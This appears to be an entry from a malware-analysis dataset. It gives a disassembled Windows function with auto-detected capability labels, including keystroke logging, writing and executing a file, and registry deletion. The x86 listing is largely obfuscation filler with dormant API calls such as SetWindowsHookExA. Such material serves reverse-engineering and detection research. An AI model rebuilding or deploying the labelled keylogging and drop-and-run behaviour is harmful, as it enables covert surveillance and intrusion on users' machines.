Function at 0x10034f51
Capabilities:
Accept command line arguments
Check http status code
Clear file content
Compare security identifiers
Create pipe
Create process on windows
Delete registry key
Enumerate gui resources
Get common file path
Get session user name
Log keystrokes via polling
Query environment variable
Set environment variable
Set thread local storage value
Write and execute a file

Disassembly:
mov eax, 0x1008df3d
call fcn.1008dc98
mov eax, 0x13ac
call fcn.1008ac00
push ebx
push esi
mov dword [ebp - 0x18], 0xfe7d8a87
xor esi, esi
push edi
mov dword [ebp - 0x34], 7
inc esi
xor eax, eax
mov dword [ebp - 0x3c], esi
push 3
mov dword [ebp - 0x24], eax
pop ebx
mov byte [ebp - 0x91], dl
mov dword [ebp - 0x60], ecx
cmp dword [ebp - 0x24], ebx
jge 0x10034faa
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x888], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10034f92
xor eax, eax
push 2
pop edi
mov dword [ebp - 0x24], eax
push 0xffffffffffffffff
pop edx
cmp dword [ebp - 0x24], edi
jge 0x10034fcc
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x534], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10034fb8
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10034fec
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1054], 0x37280dd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10034fd4
xor eax, eax
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x10035066
mov dword [ebp - 0x34], 0xff82ff40
mov dword [ebp - 0x34], 0x60e704f3
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0x6160cbeb
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x34], 0xcf59
mov dword [ebp - 0x14], eax
jmp 0x10035047
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x130c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1003503a
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x888], 0
jne 0x10035064
inc dword [ebp - 0x3c]
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x10034ff4
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x100350b1
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x534], ecx
jne 0x100350a4
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x884]
mov eax, dword [ebp - 0x530]
mov eax, dword [ebp - 0x1054]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x884], ecx
jg 0x100350a4
xor eax, eax
xor ecx, ecx
jmp 0x100350a6
mov eax, esi
mov dword [ebp - 0x534], eax
dec dword [ebp - 0x18]
jns 0x10035070
mov dword [ebp - 0x50], 0x86e8
mov dword [ebp - 0x14], 0x69ec4279
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x4c], edx
push 5
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x1de6fc60
mov dword [ebp - 0x20], 0x85734cb4
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x50]
dec dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
setne dl
imul edx, dword [ebp - 0x14]
mov dword [ebp - 0x38], edx
xor edx, edx
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x38], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x50], 0x99d012cd
mov dword [ebp - 0x2c], 0x971c1ec2
mov dword [ebp - 0x20], 0x9ab83eb6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x100351c5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x100351b1
xor eax, eax
mov dword [ebp - 0x2c], eax
push 4
pop edx
cmp dword [ebp - 0x2c], eax
jl 0x1003532a
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x40], 0x6862eae2
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x100351fe
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x93c], 0x4279
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x100351e6
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], eax
jg 0x10035321
mov dword [ebp - 0x43c], edx
mov dword [ebp - 0x438], edx
mov dword [ebp - 0x434], edx
mov dword [ebp - 0x430], edx
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], eax
jl 0x100352eb
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x15c]
mov eax, dword [ebp - 0x938]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp + eax*4 - 0x15c]
mov ecx, dword [ebp - 0x93c]
mov eax, dword [ebp - 0x15c]
cmp ecx, eax
mov eax, dword [ebp - 0x434]
setg dl
add eax, edx
je 0x1003528d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x100352ba
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x93c], 0xfe10
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x10035275
jmp 0x100352b8
or eax, 0xffffffff
xor edx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x58], 0x7cdd5376
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, 0x215f8f50
setge al
add eax, dword [ebp - 0x2c]
mov dword [ebp - 0x58], eax
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100352dc
push 0xe15
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
dec dword [ebp - 0x434]
jns 0x10035234
push 4
pop edx
mov eax, dword [ebp - 0x2c]
cmp dword [ebp + eax*4 - 0x15c], 0
je 0x1003530b
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x10035307
cmp dword [ebp - 0x438], eax
je 0x1003530d
mov eax, esi
jmp 0x1003530d
xor eax, eax
mov dword [ebp - 0x40], eax
xor eax, eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jle 0x1003520a
or ecx, 0xffffffff
dec dword [ebp - 0x2c]
jns 0x100351d4
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x1003533c
push eax
call dword [sym.imp.USER32.dll_SetCursor]
xor eax, eax
mov dword [ebp - 0x14], eax
or ebx, 0xffffffff
cmp dword [ebp - 0x14], esi
jge 0x1003535b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x88], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035347
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], eax
jl 0x10035408
mov dword [ebp - 0x3c], 0x22ba7b7e
mov dword [ebp - 0x40], 0x331c587c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x88]
sub eax, edi
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x88]
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
mov eax, dword [ebp - 0x88]
setg dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
xor edx, edx
cmp ecx, 0xef66
setne dl
xor ecx, ecx
sub eax, edx
cmp eax, 0xfffffff8
setge cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp + eax*4 - 0x88]
mov ecx, dword [ebp - 0x3c]
inc ecx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
setle al
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x24]
jns 0x10035367
imul eax, dword [ebp - 0x24], 0xf27a
mov ebx, 0xffff2a15
mov edi, dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
test eax, eax
je 0x1003547b
mov eax, dword [ebp - 0x88]
xor ecx, ecx
mov eax, dword [ebp - 0x88]
or edx, 0xffffffff
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
imul ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x88]
jle 0x1003547b
mov dword [ebp - 0x2c], 0x1a
jmp 0x1003545c
mov dword [ebp - 0x3c], 0x21ebc5f9
dec dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff4
jle 0x1003544f
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], al
je 0x1003550d
call dword [sym.imp.USER32.dll_CreatePopupMenu]
jmp 0x1003550b
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x24], 0xffffffe8
cmp dword [ebp - 0x24], 0x1c
jg 0x100354b4
xor ebx, ebx
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x100354a6
push ebx
push 0x4a7
call edi
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1c
jle 0x10035496
mov ebx, 0xffff2a15
mov eax, dword [ebp - 0x4c]
xor eax, eax
cmp dword [ebp - 0x4c], eax
jne 0x100354c5
mov ecx, eax
cmp dword [ebp - 0x30], eax
je 0x100354c7
mov ecx, esi
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x30]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, ebx
setne cl
sub eax, ecx
mov ecx, esi
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
sub ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x40], 0xdcbd5f5a
xor eax, eax
mov dword [ebp - 0x18], 0x68206240
or ecx, 0xffffffff
push 5
pop edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], 0xc6d0f065
mov dword [ebp - 0x34], 0xab6ce1a8
mov dword [ebp - 0x34], 0xd9c7279c
mov dword [ebp - 0x14], eax
jmp 0x1003554b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x23c], 0xc1de6fc6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1003553a
mov dword [ebp - 0x18], 0x1b
cmp dword [ebp - 0x18], 0x15
jne 0x10035595
xor ebx, ebx
mov dword [ebp - 0x30], 0xa296
mov dword [ebp - 0x40], 0xb6fe6d39
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
je 0x10035581
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x40], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
je 0x1003555f
mov ebx, 0xffff2a15
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xb
je 0x1003566f
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], eax
jl 0x1003563a
push 3
pop ecx
mov dword [ebp - 0x20], 0xe9ab5c29
mov dword [ebp - 0x34], 0xfffffff6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x100355e8
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xc64], 0xcd95
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x100355d0
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jg 0x1003562f
xor ebx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x23c]
cmp eax, 0xd979
setg cl
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x14], ebx
jmp 0x1003561d
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x23c], ebx
jne 0x10035622
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jle 0x1003560e
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x100355f2
push 3
xor eax, eax
pop ecx
inc dword [ebp - 0xc5c]
dec dword [ebp - 0x18]
jns 0x100355ba
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1003565a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x23c], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035642
xor eax, eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xb
jne 0x100355a4
mov ebx, 0xffff2a15
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0xfffb
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x30], 0x42374b1b
mov dword [ebp - 0x50], 0x974edf0e
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], eax
jmp 0x100356a0
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x970], 0xfffffff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x1003568f
mov esi, dword [ebp - 0x14]
xor edx, edx
mov dword [ebp - 0x96c], esi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp eax, 0xcd50
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x14]
sub esi, ecx
mov dword [ebp - 0x30], esi
xor esi, esi
mov eax, dword [ebp - 0x968]
inc esi
add eax, dword [ebp - 0x96c]
je 0x10035730
mov eax, dword [ebp - 0x50]
xor edx, edx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x3c], esi
mov ecx, dword [ebp - 0x3c]
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x50]
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setl dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setl cl
add eax, ecx
mov dword [ebp - 0x96c], eax
je 0x10035725
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x10035727
mov eax, esi
jmp 0x10035727
xor eax, eax
cmp eax, dword [ebp - 0x30]
jl 0x10035730
mov eax, esi
jmp 0x10035732
xor eax, eax
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], 0x98311173
mov dword [ebp - 0x3c], 8
mov dword [ebp - 0x50], esi
mov dword [ebp - 0x54], 0x2c9d
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jge 0x10035777
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x604], 0xc56d20a2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1003575e
xor eax, eax
push 3
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x10035790
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x858], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1003577f
mov dword [ebp - 0x28], 9
cmp dword [ebp - 0x28], 0x13
jl 0x1003589b
xor ebx, ebx
mov dword [ebp - 0x30], 0xd3f7bf4
mov dword [ebp - 0x40], 0x18f8
mov dword [ebp - 0x58], 0xfffffff6
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jge 0x100357da
or edx, 0xffffffff
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x14c], edx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x100357c8
mov dword [ebp - 0x18], ebx
jmp 0x100357f0
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x84c], 0x29a2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100357df
mov dword [ebp - 0x30], 0x26d2
xor ecx, ecx
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x2c]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x14c], ecx
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x848]
cmp ecx, eax
setle dl
mov dword [ebp - 0x604], edx
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x14c]
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x848]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
mov dword [ebp - 0x14c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp eax, 0x4ccc
setne cl
cmp ecx, 6
jbe 0x1003587c
mov eax, ebx
cmp dword [ebp - 0x28], ebx
je 0x1003587e
mov eax, esi
add eax, 0xffffec4e
mov dword [ebp - 0x58], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x13
push 3
pop ecx
jge 0x100357a8
mov ebx, 0xffff2a15
mov eax, dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x5fc], eax
jne 0x100358b1
cmp dword [ebp - 0x50], eax
jne 0x100358b1
mov edx, eax
jmp 0x100358bd
mov dword [ebp - 0x600], 0x4179b2c3
mov edx, esi
mov eax, dword [ebp - 0x850]
xor ecx, ecx
cmp edx, eax
setg cl
add ecx, 0xb3b3
jne 0x10035949
xor eax, eax
cmp dword [ebp - 0x5fc], eax
jne 0x10035949
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jg 0x10035926
xor ebx, ebx
mov dword [ebp - 0x2c], ebx
jmp 0x10035910
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x1003590d
push ebx
push ebx
push 0x2357
push 0x2613
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jle 0x100358ec
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x100358e7
mov ebx, 0xffff2a15
xor eax, eax
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x100359c5
push 0x1aa8
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
jmp 0x100359c3
mov dword [ebp - 0x30], 0x577e
mov dword [ebp - 0x40], 0xfffffff8
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x604]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jl 0x1003596f
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x10035971
mov eax, esi
mov ecx, dword [ebp - 0x28]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x604]
cmp ecx, eax
setne dl
cmp edx, dword [ebp - 0x30]
jle 0x1003598e
mov eax, dword [ebp - 0x858]
mov eax, dword [ebp - 0x54]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
cmp eax, 0xc3ad
mov eax, dword [ebp - 0x604]
setl cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setle dl
sub edx, eax
mov eax, dword [ebp - 0x858]
imul ecx, edx, 3
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x40], edx
xor eax, eax
mov edx, 0xbac64a68
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44c], edx
mov dword [ebp - 0x448], edx
mov dword [ebp - 0x444], edx
mov dword [ebp - 0x440], edx
mov dword [ebp - 0x44c], eax
jmp 0x10035a02
mov dword [ebp - 0x40], 0x4432
cmp dword [ebp - 0x40], eax
jne 0x10035a0b
inc dword [ebp - 0x44c]
cmp dword [ebp - 0x44c], 0x16
jge 0x100359f0
cmp dword [ebp - 0x44c], eax
je 0x10035a37
mov byte [ebp - 0x41], al
cmp byte [ebp - 0x41], 0
je 0x10035ae4
push 0x11f1
push eax
push eax
push 0xfa2
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
jmp 0x10035ae2
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], 0xfffffff9
jg 0x10035ae4
xor ebx, ebx
push 8
pop eax
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], eax
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10035a78
push 0x21aa
push ebx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov dword [ebp - 0x500], 0xfffffff1
jmp 0x10035ac7
mov dword [ebp - 0x14], 0xfffffffd
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10035aa4
push ebx
push 0x1c5f
push 0x12b6
call dword [sym.imp.GDI32.dll_CreatePen]
mov dword [ebp - 0x14], ebx
jmp 0x10035abb
mov byte [ebp - 0x41], bl
cmp byte [ebp - 0x41], bl
je 0x10035ab8
push ebx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x1c
jle 0x10035aa9
dec dword [ebp - 0x500]
cmp dword [ebp - 0x500], 0xffffffec
jle 0x10035a84
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff9
jle 0x10035a49
mov ebx, 0xffff2a15
xor eax, eax
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x18], 0xfe7d8a87
mov dword [ebp - 0x34], 7
mov dword [ebp - 0x3c], esi
push 3
mov dword [ebp - 0x24], eax
pop ecx
cmp dword [ebp - 0x24], ecx
jge 0x10035b1b
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x870], 0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10035b03
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop edx
cmp dword [ebp - 0x24], edx
jge 0x10035b3e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x53c], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10035b26
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x10035b5e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x106c], 0x37280dd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10035b46
xor eax, eax
mov dword [ebp - 0x18], edx
cmp dword [ebp - 0x18], eax
jl 0x10035be0
mov dword [ebp - 0x34], 0xff82ff40
mov dword [ebp - 0x34], 0x60e704f3
mov dword [ebp - 0x34], 0xfffffff8
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 0xfffffffc
mov dword [ebp - 0x34], 0x6160cbeb
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x34], 0xfffffff9
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x34], 0xcf59
mov dword [ebp - 0x14], eax
jmp 0x10035bc1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x127c], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035bb4
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x870], 0
jne 0x10035bde
inc dword [ebp - 0x3c]
dec dword [ebp - 0x18]
push 0
pop eax
jns 0x10035b66
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x10035c2c
xor ebx, ebx
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x53c], ebx
jne 0x10035c1a
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x86c]
mov eax, dword [ebp - 0x538]
mov eax, dword [ebp - 0x106c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x86c], ebx
mov eax, ebx
jle 0x10035c1c
mov eax, esi
mov dword [ebp - 0x53c], eax
dec dword [ebp - 0x18]
jns 0x10035bea
mov ebx, 0xffff2a15
mov dword [ebp - 0x48], 0x99d012cd
or eax, 0xffffffff
mov dword [ebp - 0x50], 0x86e8
mov dword [ebp - 0x14], 0x69ec4279
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x4c], eax
push 5
pop eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], 0x1de6fc60
mov dword [ebp - 0x20], 0x85734cb4
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0x50]
dec dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
sub edx, eax
mov eax, dword [ebp - 0x14]
cmp eax, edx
setg cl
xor edx, edx
mov dword [ebp - 0x4c], ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
setne dl
imul edx, dword [ebp - 0x14]
mov dword [ebp - 0x38], edx
xor edx, edx
mov ecx, dword [ebp - 0x20]
imul ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setge dl
xor ecx, ecx
cmp eax, edx
setge cl
add ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg ecx
sbb ecx, ecx
xor edx, edx
neg ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setge dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
mov ecx, 0xffff
mov eax, dword [ebp - 0x38]
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
xor eax, eax
mov dword [ebp - 0x38], ecx
or edx, 0xffffffff
mov dword [ebp - 0x2c], 0x971c1ec2
mov dword [ebp - 0x20], 0x9ab83eb6
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x10035d3a
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1a4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10035d26
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], eax
jl 0x10035e9c
push 3
xor ebx, ebx
pop ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x40], 0x6862eae2
mov dword [ebp - 0x14], ebx
jmp 0x10035d6b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x840], 0x4279
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x10035d5a
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jg 0x10035e8c
